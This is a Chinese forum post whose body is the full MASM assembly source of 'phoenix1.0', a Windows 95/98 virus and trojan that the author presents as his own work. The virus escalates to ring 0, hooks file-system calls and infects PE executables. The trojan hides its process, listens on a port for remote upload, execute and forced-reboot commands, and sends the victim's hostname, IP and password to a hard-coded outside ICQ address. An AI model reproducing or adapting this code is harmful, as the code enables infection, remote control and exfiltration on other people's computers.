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作者: clown [clown] 论坛用户 | 登录 |
;=====================木马?病毒?Either is ?你看着办吧*_*..^..(这只病毒从未见过天日...我要说什么你应该知道的)========= ;========windows 95 / 98 PE virus and a trj for win9x========== ;========it named phoenix1.0 by suruixuan====== ;========some codes copy from some great viruses codes======= ;========一些代码是copy来的,望大家见谅======= .586 .model flat, stdcall include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib include wsock32.inc includelib wsock32.lib include shell32.inc includelib shell32.lib include advapi32.inc includelib advapi32.lib include masm32.inc includelib masm32.lib RegOperation PROTO :DWORD, :DWORD, :DWORD, :DWORD WRITE equ 1 DEL equ 0 .data ;hiding kernel32 db 'kernel32.dll', 0 func db 'RegisterServiceProcess', 0 ;icq notify useicq db '1', 0 icqip db '205.188.147.55', 0 icqstr db 'GET /scripts/WWPMsg.dll?from=Asylum&fromemail=Asylum&subject=' db 'OnlineNotification&body=hey+there,+ive+been+committed...+[name=%s]_' db '[hostname=%s]_[ip=%s]_[port=%s]_[password=%s]_[version=0.1.2]_' db '[winver=%s]&to=%s HTTP/1.0', 13, 10, 13, 10, 13, 10, 0 uin db '1234567icq', 0 ;startup stuff dirfmt db '%s\%s', 0 filename db 'wincmp32.exe', 0 sysinifmt db '%s\system.ini', 0 wininifmt db '%s\win.ini', 0 explorer db 'explorer.exe %s', 0 boot db 'boot', 0 shell db 'shell', 0 windows db 'windows', 0 load db 'load', 0 run db 'run', 0 regkey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\%s', 0 runkey db 'Run\', 0 runsrvkey db 'RunServices\', 0 runkeyname db 'RegistryKeyName1234567890', 0 runsrvname db 'RegistryKeyName1234567890', 0 regusername db 'RegistryKeyName1234567890', 0 pass db '1', 0 reguser db '1', 0 regrunstart db '1', 0 runsrvstart db '1', 0 sysinistart db '1', 0 winloadstart db '1', 0 winrunstart db '1', 0 ;connection stuff srvname db '12345678901234567vic', 0 password db '1234567890123456pass', 0 mainport db '23432', 0 ;misc space db ' ', 0 question db '?', 0 truth db '1', 0 fals db '0', 0 na db 'n/a', 0 fmt db '%s %s', 0 ;os version ninefive db '95', 0 nineeight db '98', 0 nt db 'NT%i(%lu)', 0 ;server commands rqscmd db 'RQS', 0 ;request (to connect) pascmd db 'PAS', 0 ;password diecmd db 'DIE', 0 ;remove ye ol' server uplcmd db 'UPL', 0 ;upload rbtcmd db 'RBT', 0 ;reboot wdrcmd db 'WDR', 0 ;windows directory sdrcmd db 'SDR', 0 ;system directory runcmd db 'RUN', 0 ;run file invcmd db 'INV', 0 ;invalid command .data? ;buffers! exename db 128 dup (?) sysiniloc db 128 dup (?) wininiloc db 128 dup (?) sysinistr db 128 dup (?) regbuff db 128 dup (?) windir db 128 dup (?) sysdir db 128 dup (?) copystr db 128 dup (?) ;socket stuff mainsock dd ? wsainfo WSADATA<> mainsin sockaddr_in<> icqsin sockaddr_in<> clientinfo sockaddr_in<> ;hiding RSP dd ? ;os version osinfo OSVERSIONINFO<> ;startup stuff reghand dd ? ;thread stuff recvthread dd ? icqthread dd ? .code NOTDATA_SIZE = OFFSET CVSIZE-OFFSET NOTDATA ;变形数据大小 CV_SIZE = OFFSET CVSIZE-OFFSET START ;病度大小 MYCODE_MEM_OFF = 401000H ;***************************************** ;*PE Section 格式 * ;***************************************** SECTION_NAME = 00H VIRTUAL_SIZE = 08H VIRTUAL_ADDRESS = 0CH PHYS_SIZE = 10H PHYS_ADDRESS = 14H CHARACTERISTICS = 24H ;***************************************** ;*PE Section 格式 * ;***************************************** ;***************************************** ;*引导块开始 * ;***************************************** START :call trj PUSHAD MOV ESI,EAX PUSH EAX SIDT FWORD PTR [ESP-2] POP EBX ADD EBX,3*8H MOV EBP,[EBX+4] MOV BP,[EBX] MOV EAX,EBP JMP NEXTCODE1 DW 87C1H ;迷惑静态反编译 NEXTCODE1: SHR EAX,18H OR AL,AL JZ STAYED_IN_MEM CLI LEA EAX,ESI[RING0-START] MOV [EBX],AX SHR EAX,10H MOV [EBX+6],AX STI INT 3H STAYED_IN_MEM: POPAD MOV EAX,NOT(MYCODE_MEM_OFF+OFFSET AGAIN-OFFSET START) OLD_EP = DWORD PTR $-4 NOT EAX AGAIN: JMP EAX DW 87C7H RING0: XOR ECX,ECX PUSH 0FH PUSH ECX PUSH 0FFH PUSH ECX PUSH ECX PUSH ECX PUSH 01H PUSH 02H INT20_01_53: INT 20H DW 53H DW 01H ADD ESP,20H OR EDX,EDX JNZ ENOUGH_MEM CLI MOV [EBX],BP SHR EBP,10H MOV [EBX+6],BP STI IRETD DW 87C7H ENOUGH_MEM: MOV EDI,EDX MOV ECX,CV_SIZE CLD REP MOVSB MOV EDI,EDX LEA EAX,EDI[NEWAPI-START] PUSH EAX INT20_40_67: INT 20H DW 0067H DW 0040H ;InstallFileSystemApiHook ADD ESP,4 MOV EDI[OLDAPI-START],EAX MOV EDI[DELTA-START],EDI MOV AX,20CDH MOV EDI[INT20_01_53-START ],AX ;PageAlloc MOV EDI[INT20_01_53-START+2],DWORD PTR 00010053H MOV EDI[INT20_40_32-START ],AX ;IFSMgr_FileIO MOV EDI[INT20_40_32-START+2],DWORD PTR 00400032H MOV EDI[INT20_40_41-START ],AX ;BcsToUni MOV EDI[INT20_40_41-START+2],DWORD PTR 00400041H MOV EDI[ENTERF-START],BYTE PTR 0 MOV ECX,NOTDATA_SIZE ADD EDI,OFFSET NOTDATA - OFFSET START NOT_LOOP: MOV AL,[EDI] NOT AL MOV EDI[DATA-NOTDATA],AL INC EDI DEC ECX JECXZ NOT_END JMP NOT_LOOP DW 87C7H NOT_END: IRETD ;***************************************** ;*引导块结束 * ;***************************************** ;***************************************** ;*文件系统挂钩函数SystemFileApiHook开始 * ;***************************************** ;-------进入处理-------------------------- NEWAPI: PUSHAD MOV EDI,0 DELTA = DWORD PTR $-4 MOV DR0,EDI MOV EBX,ESP CMP EDI[ENTERF-START],BYTE PTR 0 JZ I_AM_FREE PUSH DWORD PTR [EBX+20H+4H+14H] CALL [EBX+20H+4H] POP ECX MOV [EBX+1CH],EAX CMP DWORD PTR [EBX+20H+4H+04H],24H JNZ QUITFSH MOV EAX,[ECX+28H] MOV EDI[FILEMODI-START],EAX QUITFSH:POPAD RET DW 87C7H I_AM_FREE: CMP DWORD PTR [EBX+20H+4H+04H],24H JNZ CALLOLDAPI MOV EDI[ENTERF-START],BYTE PTR 1 ; ------进入处理-------------------------- LEA ESI,EDI[BUFFER-START] MOV EAX,[EBX+20H+4H+8H] CMP AL,0FFH JZ JPDRV ADD AL,40H MOV [ESI],AL INC ESI MOV [ESI],BYTE PTR ':' INC ESI JPDRV: SUB EAX,EAX PUSH EAX PUSH 0FFH MOV EBX,[EBX+20H+4+14H] MOV EAX,[EBX+0CH] INC EAX ;ADD EAX,4 INC EAX INC EAX INC EAX PUSH EAX PUSH ESI INT20_40_41: INT 20H DW 0041H DW 0040H ADD ESP,10H INC EAX INC EAX DEC ESI DEC ESI ADD EDI,OFFSET FILENAME-OFFSET START MOV ECX,EAX CLD REP MOVSB MOV [ESI],CL MOV [EDI],CL MOV EDI,DR0 CMP_EXE: MOV ESI,DR1 MOV EAX,NOT('EXE.') ;是否为EXE文件 NOT EAX CMP [ESI-4],EAX JNZ EXITAPI CALL INF_EXE ;-------退出处理-------------------------- EXITAPI:MOV EDI,DR0 MOV EDI[ENTERF-START],BYTE PTR 0 CALLOLDAPI: POPAD MOV EAX,0 OLDAPI = DWORD PTR $-4 JMP [EAX] ;-------退出处理-------------------------- ;***************************************** ;*文件系统挂钩函数SystemFileApiHook结束 * ;***************************************** ;-------感染EXE文件--------------- INF_EXE: MOV EDI,DR0 XOR EAX,EAX MOV DR2,EAX MOV AX,4300H LEA ESI,EDI[FILENAME-START] CALL INT20_40_32 JC EXIT_INF_EXE MOV DR1,ECX MOV AX,4301H XOR ECX,ECX CALL INT20_40_32 JC EXIT_INF_EXE MOV AX,0D500H SUB ECX,ECX XOR EDX,EDX ;MOV EDX,01H INC EDX MOV EBX,EDX ;MOV EBX,02H INC EBX LEA ESI,EDI[FILENAME-START] CALL INT20_40_32 JC RET_ATTRIB MOV EBX,EAX XOR ECX,ECX ;MOV ECX,04H MOV CL ,04H XOR EDX,EDX ;MOV EDX,3CH MOV DL ,3CH LEA ESI,EDI[PEFILE_PTR-START] CALL READFILE JC NFIND XOR ECX,ECX ;MOV ECX,60H MOV CL ,60H MOV EDX,EDI[PEFILE_PTR-START] LEA ESI,EDI[BUFFER-START] CALL READFILE MOV AX,NOT('EP') ;判断是否为PE文件 NOT AX CMP [ESI],AX JNZ NFIND MOV EAX,[ESI+28H] MOV EDI[OLD_EP-START],EAX ;读 OLD_EP MOV EAX,[ESI+34H] MOV EDI[IMAGEBASE-START],EAX ;读 IMAGEBASE ADD EDI[OLD_EP-START],EAX NOT DWORD PTR EDI[OLD_EP-START] MOV EAX,[ESI+3CH] ;读 FILEALIGNMENT MOV EDI[FILEALIGNMENT-START],EAX XOR EAX,EAX MOV AX,[ESI+06H] ;读 SECTION_N MOV EDI[SECTION_N-START],AX XOR ECX,ECX ;MOV ECX,28H ;GET SECTION_SIZE MOV CL ,28H MUL ECX MOV ECX,EAX MOV EDI[SECTION_SIZE-START],ECX XOR EDX,EDX ADD DX,[ESI+14H] ADD EDX,18H ADD EDX,EDI[PEFILE_PTR-START] ;GET SECTION_POSITION MOV EDI[SFILE_PTR-START],EDX LEA ESI,EDI[BUFFER-START] ;读取Sections CALL READFILE MOV EDX,[ESI+3CH] ;如果是ZIP自解压则不感染 MOV ECX,4 ;ZIP自解压文件的标志是SECTION_2 LEA ESI,EDI[BUFFER-START+4F0H] ;的前4字节是否为0xFFFFFFFF CALL READFILE MOV EDX,[ESI] INC EDX OR EDX,EDX JZ NFIND LEA ESI,EDI[BUFFER-START] MOV AX,EDI[SECTION_N-START] SECT_LOOP: OR AX,AX JZ TEST_LAST_SECTION CMP [ESI+VIRTUAL_SIZE],DWORD PTR 0 JZ PHYS_B_VIRS MOV EDX,[ESI+PHYS_SIZE] SUB EDX,[ESI+VIRTUAL_SIZE] JS PHYS_B_VIRS CMP EDX,CV_SIZE JA FINDSECTION PHYS_B_VIRS: DEC AX ADD ESI,28H JMP SECT_LOOP DW 87C7H TEST_LAST_SECTION: SUB ESI,28H MOV AX,0D800H CALL INT20_40_32 MOV EDX,[ESI+PHYS_ADDRESS] ADD EDX,[ESI+PHYS_SIZE ] CMP EAX,EDX JNZ NFIND MOV EDX,[ESI+VIRTUAL_SIZE] OR EDX,EDX JZ NFIND MOV EAX,[ESI+PHYS_SIZE] CMP EAX,EDX JBE NFIND XOR EDX,EDX MOV EAX,CV_SIZE MOV ECX,EDI[FILEALIGNMENT-START] DIV ECX INC EAX MUL ECX PUSH EAX ADD [ESI+PHYS_SIZE],EAX MOV EAX,[ESI+VIRTUAL_ADDRESS] ADD EAX,[ESI+PHYS_SIZE] MOV EDI[SIZEOFIMAGE-START],EAX PUSH ESI MOV EDX,EDI[PEFILE_PTR-START] ADD EDX,50H MOV ECX,4 LEA ESI,EDI[SIZEOFIMAGE-START] CALL WRITEFILE XOR EAX,EAX INC EAX MOV DR2,EAX POP ESI POP EAX JC RET_ATTRIB MOV EDX,[ESI+PHYS_SIZE] SUB EDX,EAX JMP WRITE2FILE DW 87C7H FINDSECTION: MOV EDX,[ESI+PHYS_SIZE] SUB EDX,CV_SIZE WRITE2FILE: MOV EAX,[ESI+PHYS_SIZE] MOV [ESI+VIRTUAL_SIZE],EAX MOV [ESI+CHARACTERISTICS],DWORD PTR 0E0000040H ;(0E0000040H)数据可读可写可执行 MOV EAX,[ESI+VIRTUAL_ADDRESS] ADD EAX,EDX MOV EDI[NEW_EP-START],EAX ADD EDX,[ESI+PHYS_ADDRESS] MOV ECX,CV_SIZE MOV ESI,EDI ;写自身 CALL WRITEFILE JC RET_ATTRIB MOV ECX,EDI[SECTION_SIZE-START] MOV EDX,EDI[SFILE_PTR-START] ;写 SECTION LEA ESI,EDI[BUFFER-START] CALL WRITEFILE XOR ECX,ECX ;MOV ECX,4 MOV CL,04H MOV EDX,EDI[PEFILE_PTR-START] ;写 NEW_EP ADD EDX,28H LEA ESI,EDI[NEW_EP-START] CALL WRITEFILE NFIND: MOV AX,0D700H CALL INT20_40_32 RET_ATTRIB: MOV AX,4301H LEA ESI,EDI[FILENAME-START] MOV ECX,DR1 CALL INT20_40_32 MOV EAX,DR2 ;判断是否文件已被修改 OR EAX,EAX JNZ EXIT_INF_EXE MOV AX,4303H MOV ECX,EDI[FILEMODI-START ] ;改回文件修改日期 MOV EDI,EDI[FILEMODI-START+2] CALL INT20_40_32 EXIT_INF_EXE: RET ;-------感染EXE文件-------------- ;-------------------------------- WRITEFILE: MOV AX,0D601H JMP INT20_40_32 DW 87C7H READFILE:MOV AX,0D600H INT20_40_32: INT 20H DW 32H DW 40H RET ;-------------------------------- CVSIZE: ENTERF DB 0 ;进入标志 SECTION_N DW 0 ;块个数 SECTION_SIZE DD 0 ;块大小 PEFILE_PTR DD 0 ;PE文件指针 SFILE_PTR DD 0 ;SECTION文件指针 FILEALIGNMENT DD 0 ;文件对齐因子 IMAGEBASE DD 0 ;基地址 NEW_EP DD 0 ;新入口 SIZEOFIMAGE DD 0 ;IMAGE大小 FILEMODI DD 0 ;文件修改日期 FILENAME DB 100H DUP(0) ;被拦截的文件名 BUFFER DB 500H DUP(0) ;缓冲区 ;---------------------木马部分----------------------------- trj: invoke GetModuleHandle, offset kernel32 invoke GetProcAddress, eax, offset func cmp eax, 0 je isnt mov [RSP], eax push 1 push 0 call RSP isnt: invoke atodw, offset useicq cmp eax, 1 jne mainsock_listen mov eax, offset ICQNotify invoke CreateThread, NULL, NULL, eax, offset uin, 0, offset icqthread invoke CloseHandle, eax mainsock_listen: invoke WSAStartup, 101h, offset wsainfo cmp eax, 0 jne restartloop invoke socket, PF_INET, SOCK_STREAM, 0 cmp eax, INVALID_SOCKET je restartloop mov mainsock, eax mov mainsin.sin_family, PF_INET invoke atodw, offset mainport invoke htons, eax mov mainsin.sin_port, ax mov mainsin.sin_addr, INADDR_ANY invoke bind, mainsock, offset mainsin, sizeof mainsin cmp eax, SOCKET_ERROR je restartloop acceptloop: invoke listen, mainsock, SOMAXCONN invoke accept, mainsock, offset clientinfo, NULL cmp eax, INVALID_SOCKET je acceptloop mov edx, offset RecvData invoke CreateThread, NULL, 0, edx, eax, 0, offset recvthread invoke CloseHandle, eax jmp acceptloop restartloop: invoke closesocket, mainsock invoke Sleep, 512 jmp mainsock_listen RecvData PROC remoteaddr:DWORD LOCAL authed:DWORD LOCAL clientpc:DWORD LOCAL recvbuff[1024]:BYTE LOCAL sendbuff[1024]:BYTE LOCAL moobuff[1024]:BYTE LOCAL parambuff[256]:BYTE LOCAL fsize[16]:BYTE LOCAL cmdbuff[3]:BYTE LOCAL bytesdone:DWORD LOCAL buffwrite:DWORD LOCAL uplfile:DWORD LOCAL fsizeint:DWORD mov authed, 0 mov edx, remoteaddr mov clientpc, edx invoke atodw, offset pass cmp eax, 1 jne grant sendpass: invoke lstrlen, offset pascmd invoke send, clientpc, offset pascmd, eax, 0 receiveloop: invoke RtlZeroMemory, addr recvbuff, 1024 invoke RtlZeroMemory, addr sendbuff, 1024 invoke recv, clientpc, addr recvbuff, 1024, 0 cmp eax, SOCKET_ERROR je endloop cmp eax, 0 je endloop invoke midstr, addr recvbuff, addr cmdbuff, 0, 3 ;cut off the command part invoke lstrcmpi, addr cmdbuff, offset diecmd ;kill server cmp eax, 0 jne reboot cmp authed, 1 jne sendpass invoke atodw, offset sysinistart cmp eax, 1 jne cont7 invoke wsprintf, addr sysinistr, offset explorer, offset space invoke WritePrivateProfileString, offset boot, offset shell, addr sysinistr,\ offset sysiniloc cont7: invoke atodw, offset winloadstart cmp eax, 1 jne cont8 invoke WritePrivateProfileString, offset windows, offset load, offset space,\ offset wininiloc cont8: invoke atodw, offset winrunstart cmp eax, 1 jne cont9 invoke WritePrivateProfileString, offset windows, offset run, offset space,\ offset wininiloc cont9: invoke atodw, offset regrunstart cmp eax, 1 jne cont10 invoke RegOperation, HKEY_LOCAL_MACHINE, offset runkey, offset runkeyname, DEL cont10: invoke atodw, offset runsrvstart cmp eax, 1 jne cont11 invoke RegOperation, HKEY_LOCAL_MACHINE, offset runsrvkey, offset runsrvname, DEL cont11: invoke atodw, offset reguser cmp eax, 1 jne exit invoke RegOperation, HKEY_CURRENT_USER, offset runkey, offset regusername, DEL exit: invoke ExitProcess, 0 reboot: invoke lstrcmpi, addr cmdbuff, offset rbtcmd ;reboot cmp eax, 0 jne windirectory cmp authed, 1 jne sendpass rebootloop: invoke ExitWindowsEx, EWX_SHUTDOWN or EWX_FORCE, NULL invoke ExitWindowsEx, EWX_POWEROFF or EWX_FORCE, NULL invoke ExitWindowsEx, EWX_REBOOT or EWX_FORCE, NULL invoke ExitWindowsEx, EWX_LOGOFF or EWX_FORCE, NULL jmp rebootloop windirectory: invoke lstrcmpi, addr cmdbuff, offset wdrcmd ;windows directory cmp eax, 0 jne sysdirectory cmp authed, 1 jne sendpass invoke wsprintf, addr sendbuff, offset fmt, offset wdrcmd, offset windir invoke send, clientpc, addr sendbuff, eax, 0 jmp receiveloop sysdirectory: invoke lstrcmpi, addr cmdbuff, offset sdrcmd ;system directory cmp eax, 0 jne upload cmp authed, 1 jne sendpass invoke GetSystemDirectory, offset sysdir, 128 invoke wsprintf, addr sendbuff, offset fmt, offset sdrcmd, offset sysdir invoke send, clientpc, addr sendbuff, eax, 0 jmp receiveloop upload: invoke lstrcmpi, addr cmdbuff, offset uplcmd ;upload cmp eax, 0 jne runfile cmp authed, 1 jne sendpass invoke lstrcpy, addr moobuff, addr recvbuff invoke InString, 1, addr recvbuff, offset question dec eax invoke lstr, addr recvbuff, addr parambuff, eax invoke midstr, addr parambuff, addr parambuff, 4, 128 invoke CreateFile, addr parambuff, GENERIC_WRITE, FILE_SHARE_READ or\ FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL mov uplfile, eax invoke InString, 1, addr moobuff, offset question invoke midstr, addr moobuff, addr fsize, eax, 128 invoke atodw, addr fsize mov fsizeint, eax mov bytesdone, 0 uploadloop: invoke RtlZeroMemory, addr recvbuff, 1024 invoke recv, clientpc, addr recvbuff, 1024, 0 cmp eax, SOCKET_ERROR je upldone cmp eax, 0 je upldone mov edx, eax add bytesdone, eax invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULL mov edx, fsizeint cmp bytesdone, edx jnae uploadloop upldone: invoke CloseHandle, uplfile jmp receiveloop runfile: invoke lstrcmpi, addr cmdbuff, offset runcmd ;run file cmp eax, 0 jne passwerd cmp authed, 1 jne sendpass invoke RtlZeroMemory, addr parambuff, 256 invoke midstr, addr recvbuff, addr parambuff, 4, 128 invoke ShellExecute, NULL, NULL, addr parambuff, NULL, NULL, SW_SHOWNORMAL cmp eax, 32 jb runfail invoke wsprintf, addr sendbuff, offset fmt, offset runcmd, offset truth invoke send, clientpc, addr sendbuff, eax, 0 jmp receiveloop runfail: invoke wsprintf, addr sendbuff, offset fmt, offset runcmd, offset fals invoke send, clientpc, addr sendbuff, eax, 0 jmp receiveloop passwerd: invoke lstrcmpi, addr cmdbuff, offset pascmd ;get password cmp eax, 0 jne invalid invoke RtlZeroMemory, addr parambuff, 256 invoke midstr, addr recvbuff, addr parambuff, 4, 20 invoke lstrcmp, offset password, addr parambuff cmp eax, 0 jne deny grant: invoke wsprintf, addr sendbuff, offset fmt, offset rqscmd, offset truth invoke send, clientpc, addr sendbuff, eax, 0 mov authed, 1 jmp receiveloop deny: invoke wsprintf, addr sendbuff, offset fmt, offset rqscmd, offset fals invoke send, clientpc, addr sendbuff, eax, 0 mov authed, 0 jmp endloop invalid: invoke wsprintf, addr sendbuff, offset fmt, offset invcmd, addr cmdbuff invoke send, clientpc, addr sendbuff, eax, 0 jmp receiveloop endloop: invoke closesocket, clientpc mov eax, TRUE ret RecvData ENDP ICQNotify PROC icqnumber:DWORD LOCAL osverbuff[8]:BYTE LOCAL hostbuff[128]:BYTE LOCAL icqsendbuff[256]:BYTE LOCAL icqsock:DWORD icq_notify: invoke WSAStartup, 101h, offset wsainfo cmp eax, 0 jne restarticqloop invoke socket, PF_INET, SOCK_STREAM, 0 cmp eax, INVALID_SOCKET je restarticqloop mov icqsock, eax mov icqsin.sin_family, PF_INET invoke htons, 80 mov icqsin.sin_port, ax invoke inet_addr, offset icqip mov icqsin.sin_addr, eax invoke connect, icqsock, offset icqsin, sizeof icqsin cmp eax, SOCKET_ERROR je restarticqloop mov osinfo.dwOSVersionInfoSize, sizeof OSVERSIONINFO invoke GetVersionEx, offset osinfo cmp osinfo.dwPlatformId, VER_PLATFORM_WIN32_NT jne win9x invoke wsprintf, addr osverbuff, offset nt, osinfo.dwMajorVersion, osinfo.dwBuildNumber jmp continue win9x: cmp osinfo.dwMinorVersion, 0 jne win98 invoke lstrcpy, addr osverbuff, offset ninefive jmp continue win98: invoke lstrcpy, addr osverbuff, offset nineeight invoke atodw, offset pass cmp eax, 1 je continue invoke lstrcpy, offset password, offset na continue: invoke gethostname, addr hostbuff, 128 invoke gethostbyname, addr hostbuff mov eax, [eax+12] mov eax, [eax] mov eax, [eax] invoke inet_ntoa, eax mov edx, eax invoke wsprintf, addr icqsendbuff, offset icqstr, offset srvname, addr hostbuff, edx,\ offset mainport, offset password, addr osverbuff,\ icqnumber invoke send, icqsock, addr icqsendbuff, eax, 0 cmp eax, SOCKET_ERROR je restarticqloop invoke closesocket, icqsock ret restarticqloop: invoke closesocket, icqsock invoke Sleep, 512 jmp icq_notify ICQNotify ENDP RegOperation PROC regroot:DWORD, magickey:DWORD, nameofkey:DWORD, operation:DWORD invoke wsprintf, offset regbuff, offset regkey, magickey invoke RegOpenKeyEx, regroot, offset regbuff, 0, KEY_WRITE, offset reghand cmp operation, WRITE je write invoke RegDeleteValue, reghand, nameofkey jmp endproc write: invoke lstrlen, offset copystr invoke RegSetValueEx, reghand, nameofkey, 0, REG_SZ, offset copystr, eax endproc: invoke RegCloseKey, reghand ret RegOperation ENDP end start |
地主 发表时间: 09/14 14:46 |
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B1层 发表时间: 09/15 00:49 |
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